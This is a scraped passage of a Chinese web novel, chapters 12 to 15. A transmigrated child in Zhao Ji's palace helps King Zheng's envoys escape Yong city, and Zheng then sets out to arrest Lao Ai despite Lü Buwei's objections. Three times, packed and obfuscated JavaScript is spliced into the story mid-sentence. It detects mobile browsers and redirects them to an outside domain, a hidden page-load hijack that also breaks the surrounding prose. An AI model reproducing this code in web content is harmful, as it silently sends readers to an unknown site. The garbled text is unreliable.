秦汉唐听夏无且这么说,眼眸中浮现出一丝笑意:“这会儿你倒是不避嫌了?刚刚你一听说我的身份,分明嫌弃得很,一点儿都不想跟我沾边,就怕被我连累!” 夏无且摸了摸自己的鼻子:“我倒是想做个什么都不懂的侍医来着,可有人不许啊。我先前没有嫌弃大公子,现在就更不可能嫌弃大公子了……” “好了,咱们先别闲聊了,现在还是逃命要紧,你们快跟我来!咱们这一路上尽量避开宫中的卫队!” 陈驰和夏无且闻言,不再多说什么。他们默默地跟在秦汉唐的身后,开始了大逃亡之行。 他们看着在他们身前带路的小小身影,心中有些感慨。 此前,他们可没想到,他们会将自身的安危寄托在一名幼童身上。 实在是秦王政的弟弟小小年纪,就极有章法。他那番条理分明的话,让他们没有拒绝的理由。 很快,宫门就近在眼前。 只是,让陈驰和夏无且十分失望的是,宫门的附近早早就有卫兵守着了。 看样子,他们是注定没法和平出宫了。 走在前方的秦汉唐朝着陈驰和夏无且使了个眼色,夏无且反应极快,只见他快走两步,拿出药囊,抵在了秦汉唐的身前。 秦汉唐:“……” 秦汉唐:“这是挟持人质该有的架势吗?他们要是不同意放你们出去,莫非,你打算给打开你的药囊给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943508|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我喂毒药?” 夏无且挠了挠头,有些不好意思地说道:“我只会给人治病,不知道挟持人该怎么做啊!” 还是陈驰靠谱些,这会儿,他已经掏出一把刀,抵在了秦汉唐的脖颈间。 门口的卫兵们终于发现了秦王使者的身影。 他们还没来得及高兴,就看见俩人挟持着一个奶娃娃大摇大摆地走了过来:“这是太后亲子。你们若是不肯放我们出宫,我们立刻便取了这孩子的性命!” 说着,陈驰手中的刀往幼童的脖颈上比划了一下。 被他挟持住的幼童似乎恐惧到了极点,只听他用带着哭腔的声音说道:“你们快按照他们说的做!他们要什么,你们就给他们什么!我不想死呜呜呜!” “阿母最疼我了,我要是伤到了哪里,她肯定不会放过你们的!” 卫兵们顿时紧张了起来,他们知道,秦汉唐说的是真的。太后的逆鳞除了长信侯之外,便是她膝下的两个孩子。 要是小主子出了什么事,太后很可能要发疯。 原本一个大好的立功机会,转眼间就变成了一场危机。他们你看看我,我看看你,心中一时没了主意。 陈驰态度强硬地道:“快去为我们准备两匹脚力好的马,再为我们准备三日的干粮和水!一刻钟之内,我要见到这些东西,否则你们就等着为你们的小主子收尸吧!” “快!快点,你们快点去准备呀!”幼童的声音逐渐变得尖锐了起来。 卫兵们你看看我,我看看你,最终决定照办。 丢了长信侯要求抓捕的贼人,他们兴许不会受到太严重的惩罚。但他们要是让小主子被掳走了,或者受了什么伤,太后那边是绝对不会放过他们的。 小主子在贼人手上,终究让他们投鼠忌器。 不多时,两匹快马就被牵到了陈驰和夏无且的面前。 陈驰一手挟持着秦汉唐,另一手去翻了翻马背上驮着的包裹,发现这包裹中正是他要求的干粮和水。 他朝着夏无且使了个眼色,示意夏无且先上马。 这会儿没有马镫、马鞍等物,骑马可不是一件容易的事儿。 况且,夏无且又没怎么骑过马,突然之间让他骑着马去逃命,他着实是压力不轻。 只见夏无且努力了好久,才终于成功爬上了马背。 秦汉唐看着他那副战战兢兢的样子,都不由替他发愁。 他开始怀疑,夏无且真的能够顺利逃回咸阳吗?夏无且不会半路从马背上摔下来吧? 陈驰平日里出门虽然坐车比较多,但好歹他骑马的经验比夏无且丰富些。 只听他对着夏无且吼了声“坐稳,夹紧马肚”,然后便猛地将秦汉唐推到一边,翻身上马。 趁着卫兵们去检查秦汉唐有没有受伤的时候,陈驰扬起鞭子往夏无且的马身上抽了一记,又往自己的马身上抽了一记。 “啊啊啊啊啊——” 两匹马开始撒丫子狂奔,不远处传来夏无且那杀猪般的惨叫声。 有卫兵骑着马打算追上去,却被迎面飞来的药囊给砸了个正着,险些从马背上摔下去。 那卫兵骂骂咧咧地拿起那个碍事的药囊,准备往地上摔,却被秦汉唐制止了。 “给我吧,我想要。” 夏无且的药囊,可是一件神奇的东西。这药囊既能拿来治病救人,也能拿来护驾。这回,夏无且还险些想拿药囊来挟持秦汉唐。 秦汉唐决定回去之后好好看看,夏无且这药囊中,究竟放了些什么东西。 没准儿这是多啦A梦的百宝箱呢? 13.第 13 章 药囊到底没看成,今日这一出闹得这么大,自然瞒不过赵姬的耳目。很快,秦汉唐就被带到了赵姬跟前。 还没等秦汉唐进入赵姬的寝殿,就听到里头传来一阵剧烈的咳嗽声。 赵姬的身子原本就没有好利索,现在,她的病情又开始反复了。 “禀太后,大公子到!” 话音刚落,就有一名穿着华服的女人踉跄着走了出来。她一看到秦汉唐,就快走几步来到秦汉唐面前,将他紧紧地抱在了怀中。 秦汉唐能够感觉到湿热的泪水滑落到自己的身上,他不由生出了些许愧疚感。 每一次都是这样,他一直都在利用赵姬。 过了一会儿,情绪稍微平静一些的赵姬终于松开了抱着秦汉唐的手,开始在他身上到处摸索。 “阿大,你没有受伤吧?他们没有对你怎么样吧?” “没有……那两个咸阳来的人只是想离开雍城罢了。他们说,阿母要抓他们,所以他们才要抓我,利用我出宫。” 秦汉唐故作天真地问道:“阿母,他们不是秦王兄长派来关心你身体的吗?你为什么要抓他们呢?” 赵姬声音颤抖地说道:“我原本也没想着抓他们。可,可你阿父说,他们这些日子一直在王宫中打探消息。说不准那些要命的事已经被他们知道了,咱们不能放他们回去……” “可我没有想到,他们还是逃离了雍城。而且,他们在走之前,居然还处心积虑地把你给找了出来……”赵姬又将秦汉唐抱回怀中,她看起来陷入了深深的恐惧中。 “怎,怎么办?这下,政儿肯定知道你的存在了!用不了多久,他就要派人来抓你了!” 秦汉唐一边轻轻拍打着赵姬的背脊安抚她的情绪,一边道:“阿母,你有没有想过,兴许,秦王兄长他早就知道我和阿小的存在了呢?” “不,不可能!”赵姬声音尖锐地说道:“如果他早就知道了,他怎么可能容许你和阿小活着?阿母知道你崇拜你的兄长,你总是对你的兄长抱有一些不切实际的幻想,可他却没有把你们当弟弟!你的这种想法会害了你的!” “你与他说这么多做什么?他一颗心,早就已经偏到嬴政小儿那边去了!”嫪毐铁青着脸说道:“这回,说不准就是他主动往嬴政小儿派来的人跟前凑!不然,怎么就那么巧,我们刚要抓那两个人,他们就利用这小东西逃了出去!” “我真是万万没有料到,我嫪毐奋斗了这么些日子,筹谋了这么些日子,到头来,竟让我亲生的儿子狠狠扯住了后腿!” 嫪毐用看待死人一样的目光恶狠狠地盯着秦汉唐:“你既然这么喜欢你那个兄长,你还留下来做什么?你怎么不干脆跟着那两个人一块儿回咸阳算了?!” 别看如今嫪毐贵为长信侯,养尊处优。早年他在市井间摸爬滚打的时候,可是跟人动过刀子的。 他身上的煞气一出,不仅秦汉唐被震住了,就连赵姬一时之间也被震住了。 嫪毐当着赵姬的面,一步步朝着秦汉唐走了过来。 “你说说,你是要去咸阳,还是要留在雍城?你是要选择你那兄长,老子现在就把你这个吃里扒外的东西送去跟他作伴!” 面对嫪毐仿佛要吃人一样的目光,秦汉唐瑟瑟发抖。 去咸阳吗?当然不可能!他现在还摸不准秦王政对他的态度,在确保他的小命无虞之前,他是不可能去咸阳的! 可留在雍城就一定安全吗?他不知道。 嫪毐对他已经有了这么深的敌意,要是嫪毐真的打算对他动手,赵姬能够护得住他吗? 而且,嫪毐撺掇赵姬对秦王政派来的使者动手,这行为,必然已经触犯了秦王政的底线。 秦王政会不会以此为由向嫪毐问罪?嫪毐真的能够等到秦王政加冠那一日再对他动手吗? “阿母,我没有主动往他们跟前凑!我就是想看看,秦王兄长派来的人长什么样,我才悄悄骗过春枝姐姐跑出来的嘛!” 秦汉唐瑟瑟发抖地将自己的小身子藏在了赵姬的身后:“阿父为什么要这么说我?我没有!” “再说了,这一切分明是阿父的错啊!要是阿父不突然对那两个人下手,我怎么会遇到这样的事啊?我刚刚受了一番惊吓,你们不说安慰我,还在这里吓我!” 赵姬听着儿子可怜兮兮的声音,终于忍不住朝嫪毐发起了火:“你现在本事愈发大了,你自个儿的事没办成,还有脸怪到儿子的头上!我儿子好不容易死里逃生,你就给他使脸色看,恐吓他,有你这么做人阿父的吗?” “我看,你就是心里头憋了火气没地儿发泄,故意找咱们儿子撒气!” “我支持你起事,是为了让你保护咱们母子的,不是为了让你在咱们娘儿俩面前耀武扬威的!” 嫪毐深吸了口气,看着态度难得强硬起来的赵姬,恨声道:“这小东西都让你给惯坏了,一点不知道轻重!你听听他,一口一个秦王兄长,不知道的,还以为他与秦王兄弟情深呢!我说他几句,你还护着他!” 赵姬寸步不让:“要教训孩子什么时候不能教训,为什么非得在他刚刚受过惊吓的时候教训?而且,你居然还怀疑他是故意撞上去给人做人质,怎么会有你这么狠心的阿父!” “罢了,我不跟你吵了!再这样吵下去,嬴政小儿的大军怕是都要打过来了!”嫪毐道:“我们派人捉拿嬴政小儿派来的使者,那俩人回去之后,肯定会将这一切添油加醋地告诉嬴政小儿,做好提前起事的准备吧!” 说完这番话,他恨恨地扫了秦汉唐一眼,觉得要是他们这回能够顺利将陈驰和夏无且的命留下,就不会有这么多事了。 他却不曾想过,秦王派来的使者若是无缘无故死在雍城王宫之中,这对于秦王政来说,本身就是一种信号。 嫪毐忍了又忍,终是忍不住,指着秦汉唐对赵姬说:“你还是看好你的儿子吧!起事的过程中,别让他在背后捅咱们刀子!” “你说我不是个好父亲,可短短时间内,阿大变化竟这样大。有时候,我都怀疑他究竟还是不是咱们的儿子了!” 秦汉唐听了嫪毐的话,心漏了一拍。 从他穿越以来,嫪毐就一直对他态度恶劣,非打即骂。他也因此觉得嫪毐不是个好父亲,即使是面对亲生儿子,也没有半分真情。 可事实果真是如此吗? 就连好哄的赵姬,都曾对秦汉唐的身份产生过怀疑,嫪毐的疑心病必定比赵姬重。 会不会,正因为嫪毐察觉到他不再是从前的阿大了,他才对他这般敌视? 秦汉唐偷偷瞄了嫪毐一眼,难得生出了些许心虚。 赵姬听了嫪毐的话,立马又不乐意了:“阿大这是承蒙上苍厚爱,开了慧,这才与过去不同了!你居然因为这个原因就随随便便怀疑我们的儿子,你这是要气死我不成?!” 她本就在病中,这会儿跟嫪毐吵了一架,情绪一激动,眼前就开始发黑。 秦汉唐一看赵姬的身子往前倒,赶忙上前搀扶她。 奈何他人小力气弱,根本扶不住赵姬,他只得把目光投向了嫪毐:“你还愣着干什么?还不快过来扶阿母一把?难道你还真打算气死阿母不成?阿母要是出了什么事,你还想起事?” 嫪毐快步走上前来,抱起赵姬,将她放在床上。在这过程中,他连看都没有看秦汉唐一眼。 “你先好好休息,明日我再过来看你。”嫪毐说完这句话,就匆匆离开了赵姬的寝殿。 秦王的使臣逃出了雍城,也不知秦王下一步会怎么做。他要尽快安排好人手,以备不时之需。 嫪毐离开之后,赵姬睁着双眼愣愣地看着头顶上方的天花板。 这番筹谋,明明是为了他们一家人的将来。可为什么在起事之前,他们家就已经人心涣散了呢? “阿大,你说,我是不是做错了……”赵姬声音虚弱地说道。 是,当然错了,错得简直离谱。帮着情夫造亲儿子的反,赵姬可是独树一帜。 她要是看得清形式,在嫪毐野心刚刚冒头的时候就给他狠狠摁回去,兴许什么事都不会有。现在,说这些还有什么用呢?嫪毐不仅起了反心,他还当真对嬴政派来的人动手了。 嫪毐已经回不了头了,他与嬴政只能活一个。 秦汉唐在心中吐槽了一堆,然而,他看着赵姬难过的样子,只是发出了一声轻叹,没有将这番话说出口。 他轻轻为赵姬掖了掖被角,学着阿小平时跟他撒娇的样子,凑到赵姬面前,亲了亲她的脸颊。 “阿母早些休息吧,有什么事,等你养好了病,再来考虑。” 这几日,赵姬的病情好不容易有所好转。经过这么一番折腾,只怕又要一夜回到解放前了。 秦汉唐刚准备离开,就被赵姬拉住了手:“阿大,不要走,就在阿母这里歇息,阿母想看着你!还有阿小,让人把阿小也给接过来!” 既然她最担心的事已经发生,接下来,她要将他们放在眼皮子底下,好好看着他们。 赵姬虽然没有名言,但她心中的想法几乎都写在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948451|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了脸上。 秦汉唐握住她冰凉的手,说了声“好”。 花开两朵,各表一枝。 陈驰和夏无且逃出雍城之后,生怕赵太后和长信侯派追兵来追杀他们。 他们一路上不敢多做停留,快马加鞭地回到了咸阳城。 不知过了多久,他们终于抵达了安全范围,夏无且颤颤巍巍地从马背上下来,吐了个天昏地暗。陈驰也靠在城墙上,一脸萎靡。 等到夏无且把肚子里的那点东西都给吐光之后,他感觉自己脚下阵阵发软,连路都走不动了。 夏无且对陈驰说:“日后再有这样的任务,可不要叫上我了。” “这可由不得你,没准儿秦王就是格外看重你呢?” 夏无且:“我这么平平无奇,我浑身上下哪里有一点值得秦王看重?” 陈驰拍了拍身上的灰:“就凭你能一直跟在秦王身边,你可算不得什么平平无奇的人。咸阳卫队的人来了,走吧,上去跟他们套个近乎,好歹让他们借我们一辆牛车。” 他们好不容易赶回咸阳城,又得到了那么重要的情报,当然要第一时间去觐见秦王政。不过,路是不可能走的,他们的大腿一直夹着马肚子,腿侧的肉都要被磨烂了。 现在,他们也只能躺在牛车上去见秦王政了。 也不知,秦王政会不会因为他们受了“公伤”,多给他们一些赏赐。夏无且搓了搓自己的手,露出跃跃欲试的表情。 很快,两名伤员就被送到了秦王政的跟前。 他们走的时候还是竖着离开咸阳宫的,回来的时候却只能被人抬回来。这也让秦王政产生了一些不好的联想。 “嫪毐这竖子,居然敢对寡人派去的人动手,简直不把寡人放在眼里!” 夏无且哭丧着脸跟秦王政告状:“陛下,臣依照陛下的命令,在雍城王宫中为太后治病。谁知,长信侯他竟无缘无故派人来捉拿臣。若不是大公子相助,臣恐怕就回不来了!” 秦王政眼中闪过一丝诧异:“大公子?寡人的长子扶苏还不到两岁,连路都走不稳当。你口中的大公子是指谁?” 秦国王室的旁支成员也可被称为公子。不过,宫中之人在称呼这些旁支公子时,一般会直接将他们的名讳给报出来,比如公子成蟜,而不会笼统地称呼他们为“大公子”。 “是,是赵太后与长信侯的长子……” 秦王政听了这话,不由眸光一冷。 “寡人倒不知道,现在什么阿猫阿狗都能被称为公子了!” 陈驰上前,言简意赅地将他们在雍城王宫中的所见所闻尽数告诉秦王政。 包括他们是如何见到秦汉唐的,秦汉唐与他们说了哪些话,最后,秦汉唐又是如何助他们脱险的。 末了,陈驰感慨道:“长信侯虽然对您有不臣之心,但阿大公子……他只当自己是您的弟弟和您的臣民。” “若是臣没有亲自与阿大公子接触过,臣也万万想不到,赵太后与长信侯居然能养出那样聪慧且又明事理的孩子来。” ——这里是秦国,我也是大秦的臣民,兄长想知道什么,我自然据实以告。 ——你们是秦王兄长派来的,我不能让你们在雍城王宫中出事。 秦王政回想着方才从陈驰处听到的话,表情看起来有些复杂:“那孩子……当真是那么说的?” “千真万确。” “呵,寡人还没有承认他是寡人的弟弟呢,他倒一口一个兄长叫上了!” 陈驰观察着秦王政的表情,见他面上似乎并无恼意,这才稍稍放心。 “阿大公子……他十分憧憬陛下。若陛下不愿意听臣称呼他为公子,还请陛下明示,臣该如何称呼他?” “你们爱怎么称呼就怎么称呼,随你们高兴。”秦王政忽然对这素未谋面的弟弟产生了前所未有的兴趣:“再与寡人说一些跟他有关的事吧。” 陈驰和夏无且对视了一眼,面上露出些为难之色来。 秦王政对他这个弟弟了解不多,难道他们对这位“大公子”就了解很多吗? 他们与他相处的时间,满打满算也才两个时辰罢了!该告诉秦王政的,他们刚才都向秦王政汇报过了,现在秦王政还想听他们说啥? 不过,顶头上司交代的活计,肯定是不能就这么推掉的。 方才向秦王政介绍秦汉唐的是陈驰,现在夏无且接替了陈驰的工作,换个角度又将同一件事给重复了一遍。 秦王政并没有嫌夏无且废话连篇,反而听得入了神。 14.第 14 章 在夏无且的口中,“阿大”是一个对弟弟十分友爱,对兄长忠诚而又敬重的人,哪怕秦王政要他去死,他也绝不会有什么怨言。 只是,他怕疼,若是秦王政因为嫪毐做的那些事要迁怒他和弟弟,他恳求秦王政能够给他们一个痛快,不要对他们使用各种刑法。 夏无且一边说着这番话,一边观察着秦王政的脸色。 他特意将这件事拿出来重点强调,自然也有他的私心。 秦王政若是愿意放过他们兄弟,他们兄弟才算是真正度过了危险期。否则,他们的小命还得继续吊着。 随着夏无且的讲述,一个有些机灵又有些娇气的孩子的形象浮现在嬴政的面前。 一直以来,嬴政对于这个弟弟,仅限于知道他的存在。他究竟是一个什么样的孩子,有着怎样的性情,怎样的喜好,嬴政全然不知。 经过这些天的打探,原本模糊的人影在嬴政面前似乎变得清晰了许多。 不过—— 嬴政的嘴角又拉成了一条直线:“不是说,他很崇拜寡人么?怎么,寡人在他心中就是这么个残暴的形象?” “并非如此。只是,大公子已经开始跟着宫娥学习秦律了,他知道谋反是重罪,谋反之人最终都不得好死。有车裂的,也有腰斩的,有活埋的,有俱五刑的,兴许是因为这样,大公子才感到害怕。” “他小小年纪,知道的倒是不少!也不知,嫪毐是怎么生出他这么个儿子的!” 嬴政有些怀疑“阿大”到底是不是嫪毐的儿子。 但凡嫪毐有他儿子的机灵劲儿,他也做不出谋反这种愚蠢的选择来。 “这……”夏无且一时有些语塞:“王上您都不能确定的事,臣怎么能确定啊!反正臣只是当了个传话人,把大公子的话转述给您。” “他还与你们说了些什么?”嬴政又问。 “阿大公子向陈驰打听过雍城王宫之外是什么样的,咸阳是什么样的,您又是什么样的。” 夏无且道:“太后对阿大公子看得紧,他从出生以来,就不曾离开过雍城王宫。他一提到外面的世界,整张脸都兴奋了起来。他说,若有机会,将来想将秦国逛个遍,再往六国腹地走走。他不想从生到死,都被困在雍城那方寸之间。” 嬴政听闻此言,默然无声。 从前他不是不知道赵姬的两个孩子未曾离开过雍城王宫,只是,那会儿他并不在意这件事。 如今,许是心态发生了变化,他听着这番话,倒觉得有些不是滋味儿了。 陈驰在一旁听着,忽然觉得不对劲:“你最初不是不想掺和到这事儿之中吗?你不是带着小公子远远避开了吗?我跟大公子说的话,你怎么全听到了呢?” 夏无且:“咳咳,你当我愿意吗?我耳朵太好使了,我也没法子呀!不用太在意这些细节,反正王上只是想知道你跟大公子说了些什么。你说话就是太简短了,许多细节都被你省略了。” 陈驰:“……” 怪他咯?秦王向来行事高效,在底下人向秦王汇报工作的时候,秦王也希望底下的人能够言简意赅些。要是他在秦王面前絮絮叨叨个没完,只怕他话刚说一半,就得被秦王给撵出去。 夏无且当然也知道秦王的性子。 只是这回,秦王反复向他们询问与大公子有关的事儿,不就是想知道这些细节吗?作为下属,他们就应该满足秦王的需求。 嬴政:“与他有关的‘要事’,能有多少?你还知道什么,一并告诉寡人吧!” “是!陈驰只简单与大公子聊了几句。他还没来得及将您和咸阳的情况告知大公子呢,臣就看到有人来抓我们了。当时,我们还没想好该怎么办呢,大公子就当机立断,让身边的小宫女把小公子给抱了回去,又让我们跟着他走……” 夏无且道:“大公子小小一个人,竟然就要做我们这些大人的主了。他当时那副架势,嘿,别说,瞧着跟王上还真有几分相似,不愧是王上的弟弟……” 在嬴政意味不明的视线中,夏无且的声音越来越小。 “弟弟……”这个词,对嬴政来说既熟悉又陌生。 他有一个正儿八经的兄弟嬴成蟜,是嬴子楚回到秦国之后与本国贵女生的。 嬴政没被册封为太子之前,有人还想支持嬴成蟜上位。 嬴政并不怪当时尚且年幼的嬴成蟜,只是,他与这个弟弟非一母所出,无论是成长环境还是性子都相差太大,他们终究亲近不起来。他与嬴成蟜平时见了面,也只有一点面子情。 至于赵姬生的那两个孩子,嬴政一直不曾将他们当做自己的兄弟。 此时,嬴政听夏无且自然而然地将阿大称为他的弟弟,他心情有些复杂。 不过,这两个字多听几回,似乎也就习惯了。他发现,他对这个称呼并不排斥。 “寡人还没承认他是寡人的弟弟呢,你倒是替寡人认上了!怎么,你这是在变相替他求情吗?”嬴政犀利的目光落在夏无且的身上。 夏无且浑身一颤,顶着嬴政带来的压力,硬着头皮道:“大公子是我们的救命恩人,臣倒是想替他求情来着。可您不是还没打算把他怎么样吗?臣该怎么为他求情呢?” 他讪笑一声:“如果哪天您决定处死大公子了,臣再替他求情吧!” 嬴政把目光转向一旁的陈驰:“你也是这么想的吗?” 陈驰点了点头:“臣与夏侍医是怎么逃回来的,您一清二楚,臣等没必要在您面前与大公子撇清关系。倘若臣与夏侍医是忘恩负义的小人,恐怕您往后也不会再重用我们了。” 嬴政点了点头。他不怕自己手底下的人有自己的小心思,陈驰和夏无且能够将他们的小心思明明白白地摆在他的面前,又何尝不是一种忠诚? 陈驰继续说道:“大公子的恩,臣不得不报。大公子这般聪慧,又对您这般忠心,留着他,对您来说并没有什么坏处。太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14957112|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后十分看重大公子,留着他,既能缓和您与太后之间的关系,也能在太后犯糊涂的时候,请大公子帮忙劝着些。” 嬴政不知想到了什么,神色渐渐冷了下来。 “该如何处置他,日后再议吧,先顾着眼前的要事!长信侯挑拨太后与寡人的关系,迫害寡人派去的使者,寡人欲向长信侯问罪!” 嫪毐既然主动将把柄递到了嬴政的手中,那么,他便不准备再继续忍耐下去了。 他准备趁着尚未加冠,提前结束这场动乱。区区罪奴,不配脏了他的成人礼! 嬴政拍了拍陈驰和夏无且的肩:“你们忠心替寡人办差,寡人不能让你们白白受了这番罪!待会儿你们一人领十金回去!这些天,你们就好好在家中休息,不必来当值了。什么时候养好了身子,什么时候再回来。嫪毐被抓回咸阳的那一日,寡人再让你们好好出一口恶气!” 嬴政素来护短,谁敢随意欺辱他的人,不论与他有仇没仇,他都决不轻饶。比较不巧的是,嫪毐在嬴政这里几乎把能犯的忌讳都犯了个遍。 陈驰和夏无且听了这番话,心中十分熨帖。 秦王政厚待每一个跟随他的人,正因如此,才会有那么多的人前仆后继投入他的麾下。 唯有像秦王政这样拥有雄才大略且又赏罚分明的主君,值得他们誓死追随! 陈驰仔细想了想,道:“雍城卫队如今在太后与长信侯的手中,凭太后印玺可以调动这支军队。但这支军队并不是太后与长信侯的私兵,倘若陛下派使臣带着秦王印玺前往雍城,可以让这支军队保持中立。” 他知道秦王政在雍城中早有布置,捉拿嫪毐倒也不用从咸阳这边发兵了。 秦王派去的使臣一到,便能手持秦王给的信物去调动秦王政安插在雍城的军队。到了那时,嫪毐除了束手就擒之外,别无他法。 在陈驰看来,这整件事中,唯一需要考虑的只有太后赵姬的反应。 要是赵姬蓄意帮助嫪毐,不让他被捉走,大秦将士们少不得投鼠忌器。她到底是太后之尊,在秦王政亲口废了她之前,大秦将士们在她面前也不敢太过分。 秦王政却开口道:“何须让旁人带着秦王印玺走这么一趟?寡人亲自去,难道不比印玺这死物更有说服力?” “寡人倒要看看,秦王亲临,有几个人敢冒天下之大不韪,继续跟着嫪毐一条道走到底!” 陈驰心中一惊:“陛下,您只需派使官走一趟即可,何必亲自冒险?” 就算嫪毐造反水平再低,这好歹也是一场造反啊!刀剑无眼,万一伤着秦王了怎么办?又或是嫪毐见大事不妙,狗急跳墙,派刺客来行刺怎么办? “雍城有寡人的仇人,有寡人的母亲和弟弟们,寡人当然要亲自走一趟!” 嬴政道:“不必替寡人操心,就凭嫪毐,伤不了寡人分毫。我秦国的列祖列宗都在雍城,他们在天有灵,自会保佑寡人铲除贼子,顺利亲政!” 15.第 15 章 嬴政行动力极强,说要前往雍城,当即就开始钦点卫队,又命人准备行囊。 这次他只打算带一千精兵前往雍城,他原就在雍城布置了三千精兵,等他抵达雍城,立时便可与这三千精兵汇合,一起围攻嫪毐! 一切都在按照嬴政的意志悄无声息地进行着,然而第二天一早,相邦吕不韦就找上了门,阻止嬴政离开咸阳。 吕不韦是个看上去十分儒雅的中年人,但就是这么个人,在秦国呼风唤雨多年。只见他身着官服,前呼后拥,好不威风。这通身的派头,竟是比嬴政这个秦王还要强些。 “王上这是打算去哪儿?” 吕不韦的语气十分和蔼,俨然将嬴政当成了自家子侄,而非主君。 嬴政眼中划过一丝冷意,吕不韦当真耳目聪敏。他昨日才开始筹备,吕不韦这么快就收到消息了。看样子,吕不韦果然在他身边安插了不少耳目。 不过,眼下嬴政还有要事在身,他不打算在此时与吕不韦发生冲突。 眼下他尚未及冠,按照惯例还不能亲政,且让吕不韦再嚣张几个月。 吕不韦在嬴政面前嚣张成这样,嬴政可不相信到了他亲政的时候,吕不韦会乖乖归还大权。几个月后,他与吕不韦之间少不得还有一场恶战! “长信侯私自扣留寡人派去关心太后病情的使者,有不臣之心,实在可恨!寡人准备往雍城走一趟,将长信侯捉回咸阳。”嬴政嘴上骂着嫪毐,目光却牢牢锁定着吕不韦,就连那句“可恨”,也显得有些微妙了。 吕不韦摇了摇头,用长辈看待不成熟小辈的目光回视着眼前的嬴政。 “王上还是孩子脾气,受不得半点儿委屈。别说长信侯还没有谋反,哪怕他真的反了,雍城那地界儿也不值得王上亲自跑一趟。这等小事,交予底下的官员们来做便是,王上怎能事事亲力亲为,又怎能以身涉险?” “吕相这是在教寡人做事?” 嬴政黑沉沉的目光逼向吕不韦,吕不韦看似谦恭地垂下了眼帘:“不敢,只是,当初先王临终之前,将王上托付给臣。臣得替先王看顾好王上,日后到了地下,才有颜面去见先王。” “寡人听明白了,你这是拿先王压寡人呢。先王命你辅佐寡人,却没让你做寡人的主,更没让你代替寡人做这秦王!你拿着鸡毛当令箭的时候,就没想过你日后该如何向先王交代么?” 嬴政不笑的时候,身上的气势愈发骇人。即便是吕不韦站在他的面前,心中都有些犯怵。 嬴政的目光,让吕不韦回想起五年前的一幕—— 吕不韦与太后赵姬偷完情,从赵姬宫中离开时,出来便撞见了嬴政。 彼时嬴政还年少,一双漆黑的眸子中透露出来的狠意却让吕不韦感到心惊。 那是母亲即将被人抢走的眼神。 吕不韦原以为嬴政还是个什么都不懂的孩子,可直到那时,他才发现,嬴政比他现象中知道的多得多! 吕不韦担心日益长大的嬴政会怨恨自己,再加上他也对这段偷情感到腻味了。于是,他便将嫪毐进献给了太后赵姬。 他原以为自己就是进献了一个解闷的玩意儿给赵姬。谁料,嫪毐胆子极大,非但哄着赵姬为他生下了两个儿子,还打算反客为主…… 眼前的嬴政,与五年前的嬴政似乎重合在了一起。 看着嬴政睥睨的姿态,吕不韦不得不承认,天生的王者的确是存在的。 明明嬴政在归秦之后没受几年继承人教育,就做了秦王;明明嬴政继位之后,吕不韦和赵姬凑不曾好好派人教导过嬴政,可嬴政依旧凭着强大的学习天赋一步步走到了今天。 吕不韦不想归还大权,大权在握的滋味儿实在是太过美好,尝试过的人都难以自拔。可将要及冠的嬴政,已经迫不及待想要拿回属于自己的权柄了! 吕不韦自然不愿看到这种情况,只听他道:“王上年龄还小,行事的时候自然需要我们这些老臣帮忙把关,国家大事不是儿戏。等到王上能够独当一面了,臣也算是完成了先王的嘱托。到了那时,臣自然就不必再替王上操心了。” “只要你不给寡人建功立业的机会,寡人何时能‘独当一面’,还不是你说了算么?吕相啊吕相,你这心思,藏得可真够深啊……” 嬴政一语戳破了吕不韦的那些小心思。 吕不韦倏然一惊,刚要开口,就听嬴政又道:“说来,咱们这位长信侯嫪毐,当初还是你的门人,是你将他举荐给阿母的。如今,嫪毐有了不臣之心,你这个举荐人难辞其咎!你千方百计阻拦寡人前往雍城,莫非是你与嫪毐有所勾连,害怕寡人查出真相?!” “你……王上怎可如此污蔑臣?臣不过是担忧王上的安危,这才阻拦王上前往雍城,王上怎能把臣想得如此不堪?” 吕不韦仿佛受到了莫大的侮辱,只听他悲愤地道:“您既然不想臣过问与长信侯有关之事,臣便不再过问了!” “本来就该如此,吕相与嫪毐渊源甚深,理应避嫌!吕相能够意识到这一点,也不枉寡人对你说了这么多话。” 吕不韦一口老血险些喷出,勉强忍住了。他明明是过来劝诫嬴政的,怎么到了最后,变成他单方面站在嬴政面前挨训了? “时候不早了,吕相让一让吧,寡人要启程了。耽搁了这么长时间,也不知在天黑之前,寡人能不能离开咸阳城……” 马蹄声渐渐远去,不知怎的,吕不韦生出了一种预感。 今日,他阻止不了秦王政离去,来日,他也阻止不了秦王政从他手中夺回权柄。 秦王政此去,便如鲲鹏扶摇直上,往后,再也没有人能够阻拦他前进的步伐。 …… 雍城王宫之中,赵姬派去的人,找到了被人打昏在地的春枝。 